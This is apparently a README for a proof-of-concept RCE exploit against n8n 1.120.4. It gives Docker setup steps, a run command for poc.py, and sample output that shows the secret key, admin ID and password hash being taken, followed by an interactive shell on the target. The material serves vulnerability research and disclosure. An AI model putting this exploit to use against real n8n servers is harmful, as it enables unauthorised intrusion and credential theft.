
Ni8mare, n8n RCE
PoC environment for n8n 1.120.4 with a Form Trigger workflow and an exploit script.
Dockerfile — build the n8n vulnerable environmentrun.bat — run the container (Windows)workflow.txt — n8n workflow (includes Form Trigger)poc.py — PoC scriptrequirements.txt — PoC dependenciesdocker build -t n8n-vuln:1.120.4 .
run.bat
workflow.txtpip3 install -r requirements.txt
python3 poc.py
FINAL_SECRET_KEY, admin identifiers) from the target.n8n-shell>) is provided.id) returns output from the target environment (RCE).[+] Success: SECRET_KEY = "..."
[+] Success: admin_id = "..."
[+] Success: admin_hash = "..."
=== n8n Shell Ready ===
n8n-shell> id
[!] 'id' Result:
------------------------------
uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)
------------------------------
We publish CVE and malware analysis once a month. If you're interested, please follow the links below to check out our publications.